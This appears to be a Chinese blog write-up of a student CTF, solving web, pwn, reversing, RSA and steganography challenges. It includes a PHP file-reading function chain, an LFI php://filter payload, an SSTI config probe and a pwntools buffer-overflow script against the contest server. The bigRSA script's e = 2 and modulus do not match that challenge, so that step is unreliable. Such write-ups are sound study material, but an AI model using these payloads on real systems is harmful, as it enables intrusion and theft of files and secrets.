SuSH

大概是以技术文为主的blog

0%

Aurora CTF Writeup

Aurora CTF Writeup

Web

PHP is very good

按F12,看到提示:

查看/code

以中间的正则表达式去搜索,找到了这篇文章 。 了解到是需要构造一个无参数的函数链来读取到文件内容。一个可用的payload为if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

Check In

留意到HTML代码中的注释:

显然是一个base64编码,decode后得到flag: Aurora{3b3155b04b61ce0db98e3736ac02de1b}

Welcome to Aurora

打开页面:

要求使用某个指定的浏览器访问,联想到是否需要修改User Agent?

挂上BurpSuite再访问一次,把UA改成Aurora:

然后……嗯?

然后才注意到发送请求里面还有一个member字段。改成true:

成功得到flag:

ez LFI

看到地址栏:

提示说明flag在flag.php中:

看到题目标题,猜到有本地文件包含(Local File Include)漏洞。

参考这里 ,给file传入参数

php://filter//read=convert.base64-encode/resource=flag.php

flag.php的内容将以base64编码的格式给出:

解码得到flag:Aurora{74d9192ec281626a2e9e595a84fe42db}

ssti

参考这里,输入{{ config.items() }}

得到:

flag依然以base64形式给出:Aurora{7219fc02c546788c6abffaff4c56d110}

PS: 如果使用hexo的话,在文档包含 {{ }} 的时候或会报错Nunjucks Error,原因是nunjucks模板引擎将其进行了动态解析。可以参考这篇文章得到临时或永久性的解决方案。

PWN

ret2text

使用IDA看看反编译的结果:

套路非常明显的缓冲区溢出。

发现了一个win函数,可以提供shell。其地址为0x0804851B:

查看字符串s所在位置:

为了将win函数的起始地址写入r处,需要覆盖前面0x10 + 4个字节的内容。

写一个Python脚本,调用pwntools:

1
2
3
4
5
6
from pwn import *
r = remote('aurora.52szu.tech', 10001)
r.recvuntil('find it?')
r.send('a'*0x10)
r.sendline(p32(0)+p32(0x0804851B))
r.interactive()

这里有一个小坑,我使用的是Python 3版本的pwntool是,如果像公众号推文中那样写成r.sendline('a'*0x10+p32(0)+p32(0x0804851B)),会报错TypeError: must be str, not bytes

运行脚本,得到flag:

铁拳先锋

反编译后得到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // eax

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to Hollywood");
while ( 1 )
{
printf("anna HP:%hd/200 doomfist HP:%hd/250\n", (unsigned int)anna_blood, (unsigned int)doomfist_blood);
printf("anna attck:%hu doomfist attack:%hu\n", anna_attack, doomfist_attack);
choice = menu();
if ( choice == 2 )
{
heal();
}
else if ( choice > 2 )
{
if ( choice == 3 )
{
nap();
}
else if ( choice == 4 )
{
puts("Stupid doomfist! Gabage game!");
exit(0);
}
}
else if ( choice == 1 )
{
attack();
}
if ( anna_blood <= 0 )
{
puts("Gabage game!");
exit(0);
}
if ( anna_blood > 0 && doomfist_blood <= 0 )
{
puts("Yor are not the first domtfist wanna kill me, and you will not be the last");
system("cat flag");
exit(0);
}
}
}

其中的nap函数的代码如下:

1
2
3
4
5
6
void __cdecl nap()
{
puts("It's time to go to sleep, doomfist~");
sleep(0xCu);
doomfist_attack *= 2;
}

attack函数的代码如下:

1
2
3
4
5
6
7
void __cdecl attack()
{
puts("Rising uppercut!");
doomfist_attack += 10;
doomfist_blood -= anna_attack;
anna_blood -= doomfist_attack;
}

自然想到,多次调用nap函数使doomfist_attack上溢,这样在若干次调用attack函数后,就可使anna_blood大于doomfist_blood.

操作过程:

翻倍中……溢出了!

攻击!三发入魂!

RE

re_signup

反编译之:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-D8h]
char v5; // [rsp+1h] [rbp-D7h]
char v6; // [rsp+2h] [rbp-D6h]
char v7; // [rsp+3h] [rbp-D5h]
char v8; // [rsp+4h] [rbp-D4h]
char v9; // [rsp+5h] [rbp-D3h]
char v10; // [rsp+6h] [rbp-D2h]
char v11; // [rsp+7h] [rbp-D1h]
char v12; // [rsp+8h] [rbp-D0h]
char v13; // [rsp+9h] [rbp-CFh]
char v14; // [rsp+Ah] [rbp-CEh]
char v15; // [rsp+Bh] [rbp-CDh]
char v16; // [rsp+Ch] [rbp-CCh]
char v17; // [rsp+Dh] [rbp-CBh]
char v18; // [rsp+Eh] [rbp-CAh]
char v19; // [rsp+Fh] [rbp-C9h]
char v20; // [rsp+10h] [rbp-C8h]
char v21; // [rsp+11h] [rbp-C7h]
char v22; // [rsp+12h] [rbp-C6h]
char v23; // [rsp+13h] [rbp-C5h]
char v24; // [rsp+14h] [rbp-C4h]
char v25; // [rsp+15h] [rbp-C3h]
char v26; // [rsp+16h] [rbp-C2h]
char v27; // [rsp+17h] [rbp-C1h]
char v28; // [rsp+18h] [rbp-C0h]
char v29; // [rsp+19h] [rbp-BFh]
char v30; // [rsp+1Ah] [rbp-BEh]
char v31; // [rsp+1Bh] [rbp-BDh]
char v32; // [rsp+1Ch] [rbp-BCh]
char v33; // [rsp+1Dh] [rbp-BBh]
char v34; // [rsp+1Eh] [rbp-BAh]
char v35; // [rsp+1Fh] [rbp-B9h]
char v36; // [rsp+20h] [rbp-B8h]
char v37; // [rsp+21h] [rbp-B7h]
char v38; // [rsp+22h] [rbp-B6h]
char v39; // [rsp+23h] [rbp-B5h]
char v40; // [rsp+24h] [rbp-B4h]
char v41; // [rsp+25h] [rbp-B3h]
char v42; // [rsp+26h] [rbp-B2h]
char v43; // [rsp+27h] [rbp-B1h]
char v44; // [rsp+28h] [rbp-B0h]
unsigned __int64 v45; // [rsp+C8h] [rbp-10h]

v45 = __readfsqword(0x28u);
puts(" _____ ");
puts(" / _ \\ __ _________ ________________ ");
puts(" / /_\\ \\| | \\_ __ \\/ _ \\_ __ \\__ \\ ");
puts("/ | \\ | /| | \\( <_> ) | \\// __ \\_");
puts("\\____|__ /____/ |__| \\____/|__| (____ /");
puts(" \\/ \\/ ");
__printf_chk(1LL, "Please input your flag:");
__isoc99_scanf("%s", &v4);
if ( v9 == byte_201018
&& v31 == byte_201017
&& v33 == byte_20101B
&& v5 == byte_201022
&& v4 == byte_201016
&& v40 == byte_201013
&& v13 == byte_20101D
&& v35 == byte_201021
&& v37 == byte_201023
&& v7 == byte_201020
&& v14 == byte_201019
&& v36 == byte_201012
&& v43 == byte_201014
&& v15 == byte_201010
&& v36 == v38
&& v22 == byte_201015
&& v11 == byte_201024
&& v31 == v21
&& v44 == byte_201026
&& v23 == byte_20101C
&& v11 == v26
&& v31 == v18
&& v36 == v12
&& v15 == v27
&& v31 == v34
&& v31 == v25
&& v42 == byte_20101F
&& v15 == v20
&& v35 == v28
&& v41 == byte_201011
&& v10 == byte_201025
&& v22 == v19
&& v15 == v32
&& v30 == byte_20101A
&& v35 == v8
&& v35 == v39
&& v35 == v6
&& v16 == byte_20101E
&& v36 == v24
&& v13 == v29
&& v36 == v17 )
{
puts("Well down.");
}
return 0;
}

其中,用到的字符如下:

相当于实现一个字符替换表了。不自己造轮子了,使用Excel的vlookup函数来做即可。

得到的flag是Aurora{w3lc0m3_70_7h3_w0rld_0f_r3v3r51n6}.

Slow

反编译得到:

1
2
3
4
5
6
7
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
puts("Flag will be calculated after two thousand years!");
calc();
decode();
return 0LL;
}

calc的源码为:

1
2
3
4
5
6
7
8
__int64 calc()
{
__int64 result; // rax

result = (unsigned __int8)recur(100000LL);
value = (unsigned __int8)result;
return result;
}

recur的源码为:

1
2
3
4
5
6
7
8
9
__int64 __fastcall recur(signed __int64 param)
{
__int64 sum; // rbx

if ( param <= 1 )
return param;
sum = recur(param - 1);
return sum + recur(param - 2);
}

decode的源码为:

1
2
3
4
5
6
7
8
9
10
11
__int64 decode()
{
signed int i; // [rsp+Ch] [rbp-84h]
char s; // [rsp+10h] [rbp-80h]
...
for ( i = 0; i <= 112; ++i )
*(&s + i) ^= value;
puts("Flag is here! Congratulations!");
puts(&s);
return 0LL;
}

容易知道,是要得到斐波那契数列的第100000项,以此来对字符数组的每一个值进行异或,得到原字符串。

写出demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#define LEN 114

int arr[1000001] = {0};

int calc(int x)
{
arr[1] = arr[2] = 1;
for(int i=3; i<=x; i++) {
arr[i] = arr[i-1] + arr[i-2];
}
return arr[x];
}

int main()
{
int res = calc(100000);
char str[LEN] = {58, 14, 9, 20, 9, 26, 0, 15, 19, 72, 36, 29, 74, 25, 75, 21, 26, 24, 24, 74, 36, 78, 72, 10, 14, 72, 21, 24, 72, 36, 74, 78, 36, 26, 36, 13, 72, 9, 2, 36, 74, 21, 15, 72, 9, 72, 78, 15, 74, 21, 28, 36, 78, 72, 9, 74, 72, 78, 36, 25, 14, 15, 36, 14, 78, 74, 21, 28, 36, 9, 72, 24, 14, 9, 78, 74, 13, 72, 36, 24, 26, 23, 24, 14, 23, 26, 15, 74, 75, 21, 78, 36, 74, 78, 36, 26, 36, 13, 72, 9, 2, 36, 78, 15, 14, 11, 74, 31, 36, 12, 26, 2, 6, 0};
for(int i=0; i<LEN-1; i++) {
str[i] ^= res;
}
printf("%s\n", str);
return 0;
}

得到flag:

Aurora{th3_f1b0nacc1_53qu3nc3_15_a_v3ry_1nt3r35t1ng_53r135_but_u51ng_r3cur51v3_calculat10n5_15_a_v3ry_5tup1d_way}

Crypto

反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *s1; // ST18_8
char s; // [rsp+20h] [rbp-70h]
int v6; // [rsp+80h] [rbp-10h]
unsigned __int64 v7; // [rsp+88h] [rbp-8h]

v7 = __readfsqword(0x28u);
memset(&s, 0, 0x60uLL);
v6 = 0;
puts("Please input your flag:");
__isoc99_scanf("%s", &s);
if ( (unsigned int)strlen(&s) != 59 )
puts("Invalid length!");
s1 = encode(&s);
if ( !strcmp(s1, s2) )
puts("Congratulations!Flag is your input!");
else
puts("Error!");
return 0LL;
}

可以看出,是将输入的字符串s进行某种encode,与s2进行比较,若一致则提示正确。

那么s2是什么呢?

看上去似乎是个base64编码字符串?

试着base64 decode,得到flag:Aurora{r3pl4c3m3nt_t4bl35_4r3_50m3t1m35_4_k3y_br34kthr0ugh}

Maze

反编译后得到main函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10010h]
unsigned __int64 v5; // [rsp+10008h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 0xFFFFuLL);
printf("input:", 0LL);
__isoc99_scanf("%s", &s);
if ( (unsigned int)create_path((__int64)&s) && (unsigned int)check() )
puts("Congratulations! Flag is your input!");
else
puts("Wrong!");
return 0;
}

create_path函数的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
_DWORD *__fastcall create_path(__int64 input)
{
_DWORD *result; // rax
signed int step; // eax
signed int i; // [rsp+1Ch] [rbp-4h]

if ( strlen((const char *)input) != 34 )
return 0LL;
if ( strncmp((const char *)input, "Aurora{", 7uLL) )
return 0LL;
result = (_DWORD *)*(unsigned __int8 *)(input + 33);
if ( (_BYTE)result != '}' )
return 0LL;
for ( i = 0; i <= 25; ++i )
{
step = *(char *)(i + 7LL + input);
if ( step == 'd' )
{
result = path;
path[i] = 1;
}
else if ( step > 'd' )
{
if ( step == 's' )
{
result = path;
path[i] = 3;
}
else
{
if ( step != 'w' )
{
invalid:
puts("Invalid input!");
return 0LL;
}
result = path;
path[i] = 2;
}
}
else
{
if ( step != 'a' )
goto invalid;
result = path;
path[i] = 0;
}
}
return result;
}

判断输入的字符串的开头是不是Aurora{,若否则直接退出;若是,则继续判断接下来的字符是否是wasd中的任意一个,若否则直接退出,若是则设置path数组,供接下来的check函数使用。

check函数的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 check()
{
signed int y; // [rsp+0h] [rbp-Ch]
signed int x; // [rsp+4h] [rbp-8h]
signed int i; // [rsp+8h] [rbp-4h]

y = 4;
x = 5;
for ( i = 0; i <= 25; ++i )
{
y += y_op[path[i]];
x += x_op[path[i]];
if ( x > 9 || x < 0 || y > 9 || y < 0 )
return 0LL;
if ( maze[10 * y + x] == '#' )
return 0LL;
if ( maze[10 * y + x] == '+' )
return 1LL;
}
return 0LL;
}

当在maze数组中遇到+号时即为终点,返回1;遇到#时返回0

留意到maze[10 * y + x]这样的调用方式,不妨猜测maze可以还原为二维数组,具有10行10列。

查看maze

二维化可以得到

1
2
3
4
5
6
7
8
9
10
##....####
##.##.###.
##.##.###.
...##.###.
.####.....
.####.#.##
.####...##
....######
###.###+##
###.....##

再看check函数,起始点为y=4, x=5

从此处走到+处只有一条路径,用wasd表示上下左右,即有路径wwwwaaasssaassssdddssddddw

故flag为Aurora{wwwwaaasssaassssdddssddddw}

Crypto

littleRSA

flag已经在文件中给出了,是Aurora{33333333_little_eeeeeeeeeeeeeeeeeee}

此题告诉了我们在Python下操作大质数的库和方法,后续还会用到。

bigRSA

e很大,参考CTF中RSA套路RSA题型总结,猜想d不大,考虑使用Wiener’s attack。

使用GitHub上开源的攻击脚本,编写代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import ContinuedFractions, Arithmetic
def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)

for (k,d) in convergents:

#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d
def main():
e = 2
n = 7081831879217758514691757651604941167413458203833321896476241163159193854834188818985580323989351107122177329993141090671824744043977370513443936024893733
d = hack_RSA(e, n)
print("d = ", d)

if __name__ == "__main__":
main()

运行得到:

有了d便可以进行解密:

1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes
n= 19265229535989467647673681668822258150909780416180902815828681231585280838337664616338367862365021080608517153258739417152475696878156862008786187593833558596706658620745806493863935331130112325932190683712083941170596142907776264998309449109871648255094754625947344456150156415613102822134153140256857639268604031976307913730804096746883882618786345880253578739475034671623034764445503695299902575241236092451812394992051275373459050456342594473545761382956659478660224588171034928574850062919027723231469456084296269081719745040048932063429381937474861316879321715711774931701841836489619393282288750820897170297851
c = 10898702611331831783937135153664431111573738213939520290279180589784956413062621869287216569909428455838005174891058865019560150971640705593495013628772836108702640290821790445511946273208421308038952754572989952175678260582188196890168736684924502208608310382965529732747174559457865706109306233091463389041738366409367665304664104824819774799205157926811915719340942542816277065864864535430220003387101969104908710533560887876669077572822300602110637445828555549713023368875572411620147674130085658842629387003990909255380768423395858207075301511982982387259068030079485523211179788366811197248494745061254674858865
d = 23333333333333333333333333
m = pow(c,d,n)
b = long_to_bytes(m)
print(b.decode())

得到flag:Aurora{small_d_23333333333333333333333333}

fullRSA

e=2,参考RSA题型总结,考虑使用Rabin算法。

求解程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime, long_to_bytes
n = 7081831879217758514691757651604941167413458203833321896476241163159193854834188818985580323989351107122177329993141090671824744043977370513443936024893733
p = 114121571728294815016281504036462618902457537136473117396836586278542243500403
q = 62055155497494076039644821521078762026135550172362070196270807774906914383111
e = 2
c = 1896900103572976825067050802403568242093473285813938968047781644596415914711193528629275394728375540738147881281870616874508681221603420145134396252991328
inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)
# 计算mp和mq
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
# 计算a,b,c,d
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
for i in (a,b,c,d):
print(long_to_bytes(i))

结果:

flag是Aurora{Rabin_s_thing,_can_be_called_RSA?}

littlerRSA Revenger

e=3,而且明文不大,参考CTF中RSA套路,直接对密文三次开方,即可得到明文。

求解程序:

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import long_to_bytes
import gmpy2
e = 3
n = 97548284420275310100549340799341011064265429005494038338605378282198528153622921726756934985141745022959277810910762591618775127737522421179411717472444635827324148459187036714334788521896665809487384084036596707128105958621496314498819032419348515034985043224438335902147236368881815591923050163267123284289
c = 86539183774255113932352944621788649853140601161150054621290293662484088339182058228097904001251751561052607708004486231807775459899571522331783279478698082820846495888793914213865257394153826334859432260366305791107925080202455260655875040501527401993676629074377910399698063490994551179957432992434320913310
for i in range(10):
m, status = gmpy2.iroot(c+i*n,3)
if status == True:
print(long_to_bytes(m))

得到flag:Aurora{3333333333333333333_little_eeeeeeee}

后记

多个解法都用到了gmpy2这个库,但是安装起来颇费一番功夫。

直接pip install gmpy2 总是报编译失败,后在https://pypi.org/project/gmpy2/#files找到预编译好的wheel,最高支持到Python 3.4。创建了一个3.4的虚拟环境,试图安装这个wheel的时候又报包冲突,头大。

后来找到这篇文章Windows下安装 gmpy2,在https://github.com/aleaxit/gmpy/releases/tag/gmpy2-2.1.0a1找到了Python 3.6下的wheel,在3.6的虚拟环境里安装这个wheel就成功了。

MISC

vim2048

无他,惟手熟尔。熟练用hjkl四个键移动就好。

诀窍是:始终保持最大的数在某个角落。(我自己习惯在右下角)

base64_stego

参考神奇的 Base64 隐写,了解到对于base64编码后的最后一个字符,还原时只用到了其二进制位的前面一部分,因此后面的部分可以用来隐写。

求解程序:

1
2
3
4
5
6
7
8
9
10
11
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('base64.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())
offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)])

得到flag:Aurora{b45364_c0uld_h1d3_50m37h1n6}

san_check

首页上挂着呢,Aurora{welcome_to_CTF_and_have_fun}

网线鲨鱼

登录表单是通过POST方式提交的。在wireshark的筛选栏中输入条件http.request.method == POST,找到登录请求:

得到flag:Aurora{0p3n3d_w1f1_15_n07_54f3}